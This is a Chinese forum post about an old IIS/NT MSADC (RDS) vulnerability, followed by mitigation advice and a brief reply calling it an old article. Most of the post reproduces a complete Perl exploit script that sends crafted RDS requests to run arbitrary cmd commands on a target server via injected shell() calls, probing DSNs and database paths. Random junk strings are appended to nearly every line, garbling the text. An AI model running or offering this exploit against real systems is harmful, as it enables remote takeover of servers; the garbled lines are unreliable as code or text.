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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) AChz}N$C  
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涉及程序:  JaY"Wfc  
Microsoft NT server %)r ~GCd  
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描述: #; ?3k uq(  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 gY~r{  
m]2xOR_  
详细: k|)fl l  
如果你没有时间读详细内容的话,就删除: "O jAhKfG  
c:\Program Files\Common Files\System\Msadc\msadcs.dll Tsg9,/vXM  
有关的安全问题就没有了。 H\S)a FY[  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ZkbE&7Z  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 P'Rw/c o  
关于利用ODBC远程漏洞的描述,请参看: 5Ml=<^  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm }sXTZX  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 -G,}f\Cg  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp X 0y$xC|<  
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这里不再论述。 @z@%vr=vX  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: sT\:**  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset _>- D*l  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! I'uwJy_I\  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" \Rny*px  
/5ZX6YkeH  
#!perl e,U:H~+]  
# ]i*ucW4  
# MSADC/RDS 'usage' (aka exploit) script xl\Kj2^  
# s*izhjjX  
# by rain.forest.puppy iEvQ4S6tD  
# A'|!O:s   
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me  js_`L#t  
# beta test and find errors! >d/H4;8  
L)sgW(@2  
use Socket; use Getopt::Std; ot^pxun  
getopts("e:vd:h:XR", \%args); YFO{i-*q  
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print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; kWzN {]v  
Y?0/f[Ax,y  
if (!defined $args{h} && !defined $args{R}) { I~GF%$-G  
print qq~ " 9Gn/-V>  
Usage: msadc.pl -h <host> { -d <delay> -X -v } NQ9v[gv  
-h <host> = host you want to scan (ip or domain) P-@MLIC{  
-d <seconds> = delay between calls, default 1 second P$)g=/td1  
-X = dump Index Server path table, if available V0nQmsP1U  
-v = verbose V ;T :Q%  
-e = external dictionary file for step 5 jj5S+ >4  
ZaFt4#  
Or a -R will resume a command session g52a vG  
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~; exit;} @R[{  
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$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; u!_l/'\  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -pC8 L<  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} )Z}AhX  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); rpR${%jc  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} z|l*5@p  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } c`a(  
AU{"G  
if (!defined $args{R}){ $ret = &has_msadc; oaoTd$/5  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} H];B?G';C  
OrY[  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" #~u0R>=  
. "cmd /c "; Gz[yD ~6a  
$in=<STDIN>; chomp $in; (Fv tL*  
$command="cmd /c " . $in ; Swi# ^i  
w:~*wv  
if (defined $args{R}) {&load; exit;} %`Re {%1;  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; zG!nqSDG  
&try_btcustmr; :{lwz#9V  
u;#]eUk9}  
print "\nStep 2: Trying to make our own DSN..."; i|YS>Pw~j  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; (i1JRn-f  
qQ&uU7,#  
print "\nStep 3: Trying known DSNs..."; }f}.>B0#  
&known_dsn; A'WR!*Yt  
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print "\nStep 4: Trying known .mdbs..."; d=!:UB  
&known_mdb; M>8J_{r^  
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if (defined $args{e}){ U84W(X  
print "\nStep 5: Trying dictionary of DSN names..."; 6b|?@  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ,$P,x  
AOf4y&B>q  
print "Sorry Charley...maybe next time?\n"; hsZ/Vnn`  
exit; ,Kit@`P%  
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############################################################################## C@rGa7  
tYS4"Nfb+  
sub sendraw { # ripped and modded from whisker 6% D9;-N)  
sleep($delay); # it's a DoS on the server! At least on mine... ZykMri3bi  
my ($pstr)=@_; 5of3&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rr<E#w  
die("Socket problems\n"); <=uYfi3,  
if(connect(S,pack "SnA4x8",2,80,$target)){ v* ;d  
select(S); $|=1; enoj4g7em^  
print $pstr; my @in=<S>; 5En6f`nR{  
select(STDOUT); close(S); &y[NC AeA  
return @in; +2tQ FV;  
} else { die("Can't connect...\n"); }} f0<zK !  
b}J%4Lx%m  
############################################################################## k3\N.@\  
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sub make_header { # make the HTTP request Rx%S<i;9  
my $msadc=<<EOT xU *:a[g  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 5J5si<v25  
User-Agent: ACTIVEDATA Bq0 \T 0,  
Host: $ip >}5?`.K~Q*  
Content-Length: $clen _IH" SVub  
Connection: Keep-Alive "gM^o  
'U@o!\=a  
ADCClientVersion:01.06 |<%!9Z  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 FLZ9pb[T  
2*Z2uV^  
--!ADM!ROX!YOUR!WORLD! ?Ua,ba*  
Content-Type: application/x-varg 8hRcB[F~S  
Content-Length: $reqlen O*yxOb*  
5dBftTv?  
EOT *Cy54Z#  
; $msadc=~s/\n/\r\n/g; S0$^|/Sr  
return $msadc;}  %Bq~b$  
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############################################################################## jX53 owZ  
E-LkP;  
sub make_req { # make the RDS request j!;LN)s@?  
my ($switch, $p1, $p2)=@_; lU WXXuO]  
my $req=""; my $t1, $t2, $query, $dsn; Bous d  
9+.wj/75  
if ($switch==1){ # this is the btcustmr.mdb query OATdmHW  
$query="Select * from Customers where City=" . make_shell(); +9)Jtm oL  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Aoa8Q E   
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 8&<:(mAP  
@SQsEq+A?\  
elsif ($switch==2){ # this is general make table query =w2 4(S  
$query="create table AZZ (B int, C varchar(10))"; %&ejO= r  
$dsn="$p1";} )m%uSSx#  
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elsif ($switch==3){ # this is general exploit table query \j8vf0c5b  
$query="select * from AZZ where C=" . make_shell(); b UG,~\Z  
$dsn="$p1";} "hkcN+=  
4;`z6\u9-  
elsif ($switch==4){ # attempt to hork file info from index server HB07 n4 |  
$query="select path from scope()"; )XI[hVUA  
$dsn="Provider=MSIDXS;";} f}otIf  
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elsif ($switch==5){ # bad query (f/(q-7VWt  
$query="select"; "k zKQ~  
$dsn="$p1";} K;K0D@>]HR  
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$t1= make_unicode($query); {gMe<y  
$t2= make_unicode($dsn); q8 v iC|  
$req = "\x02\x00\x03\x00";  *7m lH  
$req.= "\x08\x00" . pack ("S1", length($t1)); :;?$5h*|`  
$req.= "\x00\x00" . $t1 ; {QG.> lB  
$req.= "\x08\x00" . pack ("S1", length($t2)); Y&2FH/(M  
$req.= "\x00\x00" . $t2 ; FW]tDGJOw  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; zAgX{$/Fg  
return $req;} Ds1h18  
\C~X_/sg  
############################################################################## =NB[jQ :(  
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sub make_shell { # this makes the shell() statement An2 >]\L  
return "'|shell(\"$command\")|'";} qHt/,w='Q  
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############################################################################## Hv6h7-  
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sub make_unicode { # quick little function to convert to unicode HoI6(t  
my ($in)=@_; my $out; E@VQxB7+  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } tE*BZXBlm  
return $out;} I~,.@{4  
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############################################################################## N8A)lYT]_u  
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sub rdo_success { # checks for RDO return success (this is kludge) y-<.l=6A  
my (@in) = @_; my $base=content_start(@in); $8^Hk xy  
if($in[$base]=~/multipart\/mixed/){ Vl.,e1)6  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} --h\tj\U  
return 0;} 3,PR6a,b'  
+!lDAkW0  
############################################################################## m*^)#  
PD#,KqL:  
sub make_dsn { # this makes a DSN for us OqtGKda  
my @drives=("c","d","e","f"); ^*.[b  
print "\nMaking DSN: "; Ai/X*y:[?  
foreach $drive (@drives) { (\\;A?  
print "$drive: "; *)m:u:   
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 4m*)("H  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" c^}G=Z1@  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %H{pU:[5*  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ]r`;89:s>  
return 0 if $2 eq "404"; # not found/doesn't exist y2W+YV*  
if($2 eq "200") { 0E.N3iU  
foreach $line (@results) { H cmW  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} `[H^ `   
} return 0;} :7e*- '  
#GM^:rF  
############################################################################## D e&,^"%  
AVT % AS  
sub verify_exists { ^'QO!{7f  
my ($page)=@_; %.Y5%T yP  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Hq.rG-,p  
return $results[0];} eV7;#w<]  
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############################################################################## a4:GGzt  
N+&uR!:.C  
sub try_btcustmr { n;Bb/Z!~  
my @drives=("c","d","e","f"); Q68~D.V%r  
my @dirs=("winnt","winnt35","winnt351","win","windows"); L0w6K0J4  
1UP {j`-K|  
foreach $dir (@dirs) { FJ_JaIby  
print "$dir -> "; # fun status so you can see progress B=A!hXNa  
foreach $drive (@drives) { St5;X&Q  
print "$drive: "; # ditto _k:8ib2TQ  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; !}Xoqamm  
$reqlenlen=length( "$reqlen" ); Snr(<u  
$clen= 206 + $reqlenlen + $reqlen; l";Yw]:^  
f' A$':Y  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); KL \>-  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} yD"]:ts3  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ^4=#, K  
2"&GH1  
############################################################################## \,S |>CPQ  
gvP-doA7W  
sub odbc_error { N~/ 'EaO  
my (@in)=@_; my $base; =3-=p&*  
my $base = content_start(@in); 3IYFvq~  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this kf@JEcKV  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  h,/Aq  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; )kep:-wm  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =lAjQt  
return $in[$base+4].$in[$base+5].$in[$base+6];} IfmQP s+f  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; L{/% "2>  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . O Z ./suR)  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} eT b!xb  
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############################################################################## E &9<JS  
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sub verbose { )N 3^r>(e<  
my ($in)=@_; TcZ.5Oe6h#  
return if !$verbose; wra0bS)4  
print STDOUT "\n$in\n";} k4Q>J,k  
Gz&}OO  
############################################################################## O)jD2X?  
EE 9w^.3a  
sub save { `r$7Cc$C  
my ($p1, $p2, $p3, $p4)=@_; N.*)-O  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Kq[4I[+R  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; I>?oVY6M@u  
close OUT;} gnJ8tuS  
AM+5_'S,  
############################################################################## jG>W+lq  
9#9 UzKX#  
sub load { 8-#kY}d.  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3ijPm<wn  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); SKC;@?  
@p=<IN>; close(IN); DS?.'"n[u  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Pn!~U] A$%  
$target= inet_aton($ip) || die("inet_aton problems"); :#:|:q.]  
print "Resuming to $ip ..."; MpOU>\  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; hs7!S+[.$$  
if($p[1]==1) { N sdpE?V  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }y6)d.  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; @43psq1  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); <,CrE5Pl  
if (rdo_success(@results)){print "Success!\n";} & /8Tth86  
else { print "failed\n"; verbose(odbc_error(@results));}} 'K4FS(q  
elsif ($p[1]==3){ \3hA_{ w  
if(run_query("$p[3]")){ T'pL&@,Q  
print "Success!\n";} else { print "failed\n"; }} m-t: ' B  
elsif ($p[1]==4){ )Qb,zS6  
if(run_query($drvst . "$p[3]")){ i~h@}0WR"  
print "Success!\n"; } else { print "failed\n"; }} z}E_ wg  
exit;} \%<M[r=  
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############################################################################## =}Tm8b0  
sD3ZZcy|=  
sub create_table { X&9: ^$m  
my ($in)=@_; v+LJx    
$reqlen=length( make_req(2,$in,"") ) - 28; (;#c[eKy  
$reqlenlen=length( "$reqlen" ); 8>YF}\D V  
$clen= 206 + $reqlenlen + $reqlen; \Kf\%Q  
my @results=sendraw(make_header() . make_req(2,$in,"")); )- W1Wtom  
return 1 if rdo_success(@results); zT>!xGTu7~  
my $temp= odbc_error(@results); verbose($temp); 6*i **  
return 1 if $temp=~/Table 'AZZ' already exists/; G _cJI  
return 0;} F*P0=DD  
X +!+&RAN*  
############################################################################## JmCMFq B9  
DFMpU.BN W  
sub known_dsn { gsL=_# ?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go e!5} #6Kd  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", w(@r-2D"  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Jk*cuf `rq  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); @` KYgjjH  
, ;,B7g  
foreach $dSn (@dsns) { l@);U%\pS  
print "."; xFF!)k #  
next if (!is_access("DSN=$dSn")); v@zi?D K  
if(create_table("DSN=$dSn")){ BpIyw  
print "$dSn successful\n"; 9rEBq&  
if(run_query("DSN=$dSn")){ *I 1H  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { dJR[9T_OF  
print "Something's borked. Use verbose next time\n";}}} print "\n";} AYnPxiW|  
?I=1T.  
############################################################################## #Ha:O,|  
ZPZh6^cc  
sub is_access { os5$(  
my ($in)=@_; Vg'R=+Wb  
$reqlen=length( make_req(5,$in,"") ) - 28; NifQsy)*%  
$reqlenlen=length( "$reqlen" ); <IR#W$[  
$clen= 206 + $reqlenlen + $reqlen; f30J8n"k  
my @results=sendraw(make_header() . make_req(5,$in,"")); ~A>fB2.pM  
my $temp= odbc_error(@results); yz68g?"  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); j4IVIj@$ `  
return 0;} -+ByK#<%  
j !*,(  
############################################################################## 8R*;8y_  
-m@c{&r  
sub run_query {  Qxz[  
my ($in)=@_; h  /  
$reqlen=length( make_req(3,$in,"") ) - 28; _r-LX"  
$reqlenlen=length( "$reqlen" );  w*`:v$  
$clen= 206 + $reqlenlen + $reqlen; :9QU\{2  
my @results=sendraw(make_header() . make_req(3,$in,"")); g`pq*D  
return 1 if rdo_success(@results); mn@1&#c4y  
my $temp= odbc_error(@results); verbose($temp); Ze V@ X  
return 0;} es7;eH*O9  
8$NVVw]2,  
############################################################################## 9d"*Z%!j  
5e7YM@ng  
sub known_mdb { ox&5} &\  
my @drives=("c","d","e","f","g"); 3%*igpj\)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); z3a GK  
my $dir, $drive, $mdb; ]q"&V\b  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 8Qg{@#Wr  
.{ v$;g  
# this is sparse, because I don't know of many SXw r$)4_  
my @sysmdbs=( "\\catroot\\icatalog.mdb", +JErc)%  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", =7V4{|ESfy  
"\\system32\\certmdb.mdb", SrKitSG  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% qcs) p  
TKnWhB/J  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", LtRRX@qJw  
"\\cfusion\\cfapps\\forums\\forums_.mdb", m%L!eR  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", }<WJR Y6j  
"\\cfusion\\cfapps\\security\\realm_.mdb", 3l=q@72  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", <);q,|eh2  
"\\cfusion\\database\\cfexamples.mdb", Bj 7* 2}  
"\\cfusion\\database\\cfsnippets.mdb", /[TOy2/;%b  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", UIEvwQ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", c~U0&V_`j  
"\\cfusion\\brighttiger\\database\\cleam.mdb", GQt5GOt  
"\\cfusion\\database\\smpolicy.mdb", 0$|VkMq(  
"\\cfusion\\database\cypress.mdb", "-f]d~P>  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", k^}[+IFJ  
"\\website\\cgi-win\\dbsample.mdb", -f|/#1  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", SNqSp.>-U"  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 1NP  
); #these are just _\>y[e["p  
foreach $drive (@drives) { 2mEqfy  
foreach $dir (@dirs){ x/<ow4C  
foreach $mdb (@sysmdbs) { I7vP*YE 7F  
print "."; 5.^pD9[mT  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ JA4Zg*7I  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; k^oSG1F  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 8sj2@d  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; jnqp" Ult>  
} else { print "Something's borked. Use verbose next time\n"; }}}}} -o+t&m  
P' VHga  
foreach $drive (@drives) { )>M L7y  
foreach $mdb (@mdbs) { &m--}  
print "."; 5x@ U<  
if(create_table($drv . $drive . $dir . $mdb)){ h.tj8O1  
print "\n" . $drive . $dir . $mdb . " successful\n"; tEL;,1  
if(run_query($drv . $drive . $dir . $mdb)){ L<V20d9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; b=Nsz$[  
} else { print "Something's borked. Use verbose next time\n"; }}}} !5dn7Wuj  
} oVw4M2!"K  
%ZoJu  
############################################################################## n@`3O'S  
'`upSJ;e  
sub hork_idx { }!^h2)'7  
print "\nAttempting to dump Index Server tables...\n"; W $D 34(  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; +(Y\w^@%H  
$reqlen=length( make_req(4,"","") ) - 28; mywx V  
$reqlenlen=length( "$reqlen" ); k$v 7@|Aw  
$clen= 206 + $reqlenlen + $reqlen; Qb@j8Xa4[  
my @results=sendraw2(make_header() . make_req(4,"","")); 2- L-=0  
if (rdo_success(@results)){ #:" ]-u^  
my $max=@results; my $c; my %d; #w L(<nE  
for($c=19; $c<$max; $c++){ I0Do%  
$results[$c]=~s/\x00//g; p+P@I7V  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; n`= S&oKH  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ^U~Er'mT  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; E{6ku=2F  
$d{"$1$2"}="";} aKMX-?%t4  
foreach $c (keys %d){ print "$c\n"; } `G":y[Q  
} else {print "Index server doesn't seem to be installed.\n"; }} \zJ^XpC  
^:?z7m  
############################################################################## q2 7Ac; y  
W4 q9pHQ  
sub dsn_dict { _,^f,WO~  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); F-@y H  
while(<IN>){ xLIyh7$t  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; _LF'0s*  
next if (!is_access("DSN=$dSn")); pXNhU88  
if(create_table("DSN=$dSn")){ V.3#O^S  
print "$dSn successful\n"; ybJa:  
if(run_query("DSN=$dSn")){ }|h-=T '  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  fp||<B  
print "Something's borked. Use verbose next time\n";}}} 3wN4kltt  
print "\n"; close(IN);} _$*-?*V&  
'tTlBf7#  
############################################################################## Db2#QQ  
?Ho$fGz  
sub sendraw2 { # ripped and modded from whisker fXevr `  
sleep($delay); # it's a DoS on the server! At least on mine... h`fZ 8|yw  
my ($pstr)=@_; "Io-%S u+  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || NTJ,U2  
die("Socket problems\n");  ~@@t-QY  
if(connect(S,pack "SnA4x8",2,80,$target)){ F@/syX;bb5  
print "Connected. Getting data"; TJ>YJ D  
open(OUT,">raw.out"); my @in; kk126?V]_  
select(S); $|=1; print $pstr; w32F?78]  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} W9cvxsox  
close(OUT); select(STDOUT); close(S); return @in; akw:3+`  
} else { die("Can't connect...\n"); }} F4(;O7j9  
b c .Vy  
############################################################################## Bptt"  
Yp m*or  
sub content_start { # this will take in the server headers :%Z)u:~':  
my (@in)=@_; my $c; a w~a /T:  
for ($c=1;$c<500;$c++) { 'PMzm/;8st  
if($in[$c] =~/^\x0d\x0a/){ ;$a|4_U$m  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } l$BKE{rg  
else { return $c+1; }}} *y"|/_ *  
return -1;} # it should never get here actually BvlY\^  
6:r1^q6A9L  
############################################################################## p38s&\-kEN  
L%9yFg%u  
sub funky { avS9"e  
my (@in)=@_; my $error=odbc_error(@in); gKU*@`6G  
if($error=~/ADO could not find the specified provider/){ UL7%6v{'*  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~R|fdD/%  
exit;} AF{o=@  
if($error=~/A Handler is required/){ ,^xsdqpe  
print "\nServer has custom handler filters (they most likely are patched)\n"; P\c0Q;){h"  
exit;} (I`< ;  
if($error=~/specified Handler has denied Access/){ hy"p8j7_  
print "\nServer has custom handler filters (they most likely are patched)\n"; LY0/\Z"N  
exit;}} etW-gbr  
/C<} :R  
############################################################################## jP @t!=  
Rx<[bohio  
sub has_msadc { $AFiPH9  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); /-pop]L  
my $base=content_start(@results); (K"t</]  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); d@|j>Z  
return 0;} '9wD+'c=A  
s|!b: Ms`  
######################## >|T?87  
=7P; /EV  
/=OSGIJzm  
解决方案: b!37:V\#}  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll X>jwjRK $  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 *DoEDw  
oB Bdk@  
拿出来充数 哈哈
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